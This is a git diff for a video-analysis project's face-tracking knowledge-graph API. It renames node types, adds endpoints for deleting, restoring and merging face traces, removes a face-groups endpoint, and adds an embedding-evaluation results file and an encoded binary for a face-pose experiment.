lip_track → text_region | Lip movement aligned with spoken text | +| `has_appearance` | `HAS_APPEARANCE` | face_track → appearance_trace | Face has specific appearance | +| `wears` | `WEARS` | face_track → accessory | Face wears an accessory | +| `hand_object` | `HOLDS` | hand → object | Hand holding object | --- @@ -55,10 +106,10 @@ curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/rebuild" \ "success": true, "file_uuid": "d3f9ae8e471a1fc4d47022c66091b920", "result": { - "face_trace_nodes": 16, - "gaze_trace_nodes": 16, - "lip_trace_nodes": 12, - "text_trace_nodes": 24, + "face_track_nodes": 16, + "gaze_track_nodes": 16, + "lip_track_nodes": 12, + "text_region_nodes": 24, "appearance_trace_nodes": 8, "skin_tone_trace_nodes": 5, "accessory_nodes": 3, @@ -96,18 +147,18 @@ Query TKG nodes with pagination and optional type filter. | Field | Type | Required | Default | Description | |-------|------|----------|---------|-------------| -| `node_type` | string | No | all | Filter by node type: `face_trace`, `gaze_trace`, `lip_trace`, `text_trace`, `appearance_trace`, `skin_tone_trace`, `accessory`, `object`, `speaker` | +| `node_type` | string | No | all | Filter by node type: `face_track`, `gaze_track`, `lip_track`, `text_region`, `appearance_trace`, `skin_tone_trace`, `accessory`, `object`, `speaker` | | `page` | integer | No | 1 | Page number | | `page_size` | integer | No | 100 | Items per page (max 500) | #### Example ```bash -# Get all face_trace nodes +# Get all face_track nodes curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/nodes" \ -H "X-API-Key: $KEY" \ -H "Content-Type: application/json" \ - -d '{"node_type": "face_trace", "page": 1, "page_size": 50}' + -d '{"node_type": "face_track", "page": 1, "page_size": 50}' # Get all nodes curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/nodes" \ @@ -128,12 +179,12 @@ curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/nodes" \ "nodes": [ { "id": 1, - "node_type": "face_trace", - "external_id": "trace_0", - "label": "Face Trace 0", + "node_type": "face_track", + "external_id": "face_track_0", + "label": "Face Track 0", "properties": { "trace_id": 0, - "face_count": 142, + "frame_count": 142, "avg_confidence": 0.87 } } @@ -177,17 +228,17 @@ Query TKG edges with pagination and optional filters. #### Example ```bash -# Get all co_occurrence edges +# Get all co_occurs edges curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/edges" \ -H "X-API-Key: $KEY" \ -H "Content-Type: application/json" \ -d '{"edge_type": "co_occurs"}' -# Get edges between face_trace and speaker nodes +# Get edges between face_track and speaker nodes curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/edges" \ -H "X-API-Key: $KEY" \ -H "Content-Type: application/json" \ - -d '{"source_type": "speaker", "target_type": "face_trace"}' + -d '{"source_type": "speaker", "target_type": "face_track"}' ``` #### Response (200) @@ -251,12 +302,12 @@ curl -s "$API/api/v1/file/$FILE_UUID/tkg/node/1" \ "success": true, "node": { "id": 1, - "node_type": "face_trace", - "external_id": "trace_0", - "label": "Face Trace 0", + "node_type": "face_track", + "external_id": "face_track_0", + "label": "Face Track 0", "properties": { "trace_id": 0, - "face_count": 142, + "frame_count": 142, "avg_confidence": 0.87 } }, @@ -375,4 +426,101 @@ curl -s "$API/api/v1/file/$FILE_UUID/processor-counts" \ --- -*Updated: 2026-06-20 12:00:00* +### Trace Management + +Endpoints for managing face traces: list, delete, restore, and merge. + +#### `DELETE /api/v1/file/:file_uuid/trace/:trace_id` + +**Auth**: Required + +Soft-delete a face trace (default) or hard-delete with `{"hard_delete": true}`. + +Soft delete marks Qdrant points with `status: "deleted"` and TKG nodes with `status: "deleted"` in properties. Deleted traces are excluded from the traces list. + +Hard delete permanently removes Qdrant points and TKG nodes. + +**Request Body** (optional): + +| Field | Type | Default | Description | +|-------|------|---------|-------------| +| `hard_delete` | boolean | `false` | Permanently delete instead of marking | + +**Example**: +```bash +# Soft delete +curl -X DELETE "$API/api/v1/file/$FILE_UUID/trace/8" \ + -H "X-API-Key: $KEY" -H "Content-Type: application/json" -d '{}' + +# Hard delete +curl -X DELETE "$API/api/v1/file/$FILE_UUID/trace/8" \ + -H "X-API-Key: $KEY" -H "Content-Type: application/json" \ + -d '{"hard_delete": true}' +``` + +**Response**: +```json +{ + "success": true, + "file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5", + "trace_id": 8, + "hard_delete": false, + "qdrant_marked": true, + "tkg_nodes_marked": 1 +} +``` + +--- + +#### `POST /api/v1/file/:file_uuid/trace/:trace_id/restore` + +**Auth**: Required + +Undo a soft-deleted trace. Clears `status: "deleted"` from Qdrant points and TKG node properties. + +**Example**: +```bash +curl -X POST "$API/api/v1/file/$FILE_UUID/trace/8/restore" \ + -H "X-API-Key: $KEY" +``` + +**Response**: +```json +{ + "success": true, + "file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5", + "trace_id": 8, + "qdrant_restored": true, + "tkg_nodes_restored": 1 +} +``` + +--- + +#### `POST /api/v1/file/:file_uuid/trace/:source_trace_id/merge/:target_trace_id` + +**Auth**: Required + +Merge all face points from source trace into target trace. Updates Qdrant `trace_id` and deletes source TKG node. + +**Example**: +```bash +curl -X POST "$API/api/v1/file/$FILE_UUID/trace/16/merge/3" \ + -H "X-API-Key: $KEY" +``` + +**Response**: +```json +{ + "success": true, + "file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5", + "source_trace_id": 16, + "target_trace_id": 3, + "points_moved": 58, + "tkg_nodes_deleted": 1 +} +``` + +--- + +*Updated: 2026-07-21 01:00:00* diff --git a/docs_v1.0/doc_wasm/modules/18_profile.md b/docs_v1.0/doc_wasm/modules/18_profile.md index bde2421..b9c594b 100644 --- a/docs_v1.0/doc_wasm/modules/18_profile.md +++ b/docs_v1.0/doc_wasm/modules/18_profile.md @@ -1,5 +1,5 @@ - + ## Profile Management @@ -158,77 +158,6 @@ curl -s -X PUT "$API/api/v1/trace-profile/group" \ --- -### `GET /api/v1/file/:file_uuid/face-groups` - -**Auth**: Required -**Scope**: file-level - -Get face groups for a file. Groups face traces by their label (name) and returns both named groups and unassigned traces. - -#### Path Parameters - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| `file_uuid` | string | Yes | File UUID | - -#### Example - -```bash -curl -s "$API/api/v1/file/$FILE_UUID/face-groups" \ - -H "X-API-Key: $KEY" -``` - -#### Response (200) - -```json -{ - "success": true, - "file_uuid": "d3f9ae8e471a1fc4d47022c66091b920", - "face_groups": [ - { - "group_id": 1, - "name": "Cary Grant", - "trace_ids": [9, 6, 8], - "trace_count": 3, - "representative_trace": 9, - "editable": true - }, - { - "group_id": 2, - "name": "Audrey Hepburn", - "trace_ids": [1, 11, 4, 10], - "trace_count": 4, - "representative_trace": 1, - "editable": true - } - ], - "total_groups": 2, - "unassigned_traces": [5, 7] -} -``` - -| Field | Type | Description | -|-------|------|-------------| -| `success` | boolean | Always `true` on success | -| `file_uuid` | string | File UUID | -| `face_groups` | array | List of named face groups | -| `face_groups[].group_id` | integer | Sequential group number (starts at 1) | -| `face_groups[].name` | string | Group name (from TKG `label`) | -| `face_groups[].trace_ids` | integer[] | Trace IDs in this group | -| `face_groups[].trace_count` | integer | Number of traces in group | -| `face_groups[].representative_trace` | integer | First trace ID in group | -| `face_groups[].editable` | boolean | Always `true` (groups can be renamed) | -| `total_groups` | integer | Total named groups | -| `unassigned_traces` | integer[] | Traces with default names (e.g., "Face Trace 9") | - -#### Notes - -- Unassigned traces have labels starting with "Face Trace " or "Trace " -- Groups are sorted by first trace_id in each group -- `group_id` is dynamically generated and may change between requests - ---- - ### `GET /api/v1/file-profile` **Auth**: Required @@ -335,5 +264,5 @@ curl -s -X PUT "$API/api/v1/file-profile" \ | `aliases` | `properties->'aliases'` | Multi-language name aliases | --- -*Updated: 2026-07-19 — Added face-groups endpoint for Studio Proxy integration* +*Updated: 2026-07-21 — Fixed external_id matching (trace_N + face_track_N formats), fixed parameter ordering in UPDATE query* *Updated: 2026-07-18 — New profile module: trace-profile (GET, PUT, PUT group) and file-profile (GET, PUT)* diff --git a/embedding_eval_results.json b/embedding_eval_results.json new file mode 100644 index 0000000..2326832 --- /dev/null +++ b/embedding_eval_results.json @@ -0,0 +1,265 @@ +{ + "embeddinggemma": { + "model": "embeddinggemma", + "dimension": 768, + "avg_latency_ms": 249.0, + "total_embeddings": 1, + "test_results": [ + { + "query": "\u7a7f\u897f\u88dd\u7684\u7537\u4eba", + "lang": "zh", + "latency_ms": 29.7, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.618 + } + ] + }, + { + "query": "\u5ba4\u5167\u8fa6\u516c\u5ba4", + "lang": "zh", + "latency_ms": 22.2, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.5367 + } + ] + }, + { + "query": "\u96ea\u666f", + "lang": "zh", + "latency_ms": 193.7, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.5184 + } + ] + }, + { + "query": "\u6301\u69cd\u7684\u4eba", + "lang": "zh", + "latency_ms": 75.1, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.6248 + } + ] + }, + { + "query": "woman in white dress", + "lang": "en", + "latency_ms": 65.3, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.5616 + } + ] + }, + { + "query": "outdoor scene night", + "lang": "en", + "latency_ms": 21.6, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.5207 + } + ] + }, + { + "query": "person holding object", + "lang": "en", + "latency_ms": 22.2, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.6037 + } + ] + }, + { + "query": "\u7a7f\u8457 formal \u7684\u7537\u4eba", + "lang": "mixed", + "latency_ms": 20.9, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.603 + } + ] + } + ] + }, + "nomic-embed-text-v2-moe": { + "model": "nomic-embed-text-v2-moe", + "dimension": 768, + "avg_latency_ms": 1283.6, + "total_embeddings": 1, + "test_results": [ + { + "query": "\u7a7f\u897f\u88dd\u7684\u7537\u4eba", + "lang": "zh", + "latency_ms": 123.9, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.3129 + } + ] + }, + { + "query": "\u5ba4\u5167\u8fa6\u516c\u5ba4", + "lang": "zh", + "latency_ms": 96.2, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.1364 + } + ] + }, + { + "query": "\u96ea\u666f", + "lang": "zh", + "latency_ms": 60.5, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.2002 + } + ] + }, + { + "query": "\u6301\u69cd\u7684\u4eba", + "lang": "zh", + "latency_ms": 90.5, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.3004 + } + ] + }, + { + "query": "woman in white dress", + "lang": "en", + "latency_ms": 55.1, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.3052 + } + ] + }, + { + "query": "outdoor scene night", + "lang": "en", + "latency_ms": 56.0, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.1561 + } + ] + }, + { + "query": "person holding object", + "lang": "en", + "latency_ms": 55.7, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.2698 + } + ] + }, + { + "query": "\u7a7f\u8457 formal \u7684\u7537\u4eba", + "lang": "mixed", + "latency_ms": 56.3, + "top5": [ + { + "id": "trace_0", + "type": "trace", + "text": "The image shows two individuals who appear to be adults. However, without more specific details or i", + "score": 0.316 + } + ] + } + ] + }, + "comparison": { + "dimension_a": 768, + "dimension_b": 768, + "latency_diff_ms": 1034.6 + }, + "queries": [ + { + "query": "\u7a7f\u897f\u88dd\u7684\u7537\u4eba", + "lang": "zh" + }, + { + "query": "\u5ba4\u5167\u8fa6\u516c\u5ba4", + "lang": "zh" + }, + { + "query": "\u96ea\u666f", + "lang": "zh" + }, + { + "query": "\u6301\u69cd\u7684\u4eba", + "lang": "zh" + }, + { + "query": "woman in white dress", + "lang": "en" + }, + { + "query": "outdoor scene night", + "lang": "en" + }, + { + "query": "person holding object", + "lang": "en" + }, + { + "query": "\u7a7f\u8457 formal \u7684\u7537\u4eba", + "lang": "mixed" + } + ] +} \ No newline at end of file diff --git a/experiments/face_pose_sync_poc/crop_experiment b/experiments/face_pose_sync_poc/crop_experiment new file mode 100755 index 0000000000000000000000000000000000000000..b4b96866a5c3f6ce4980f31e92f6a85252d72026 GIT binary patch literal 269600 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 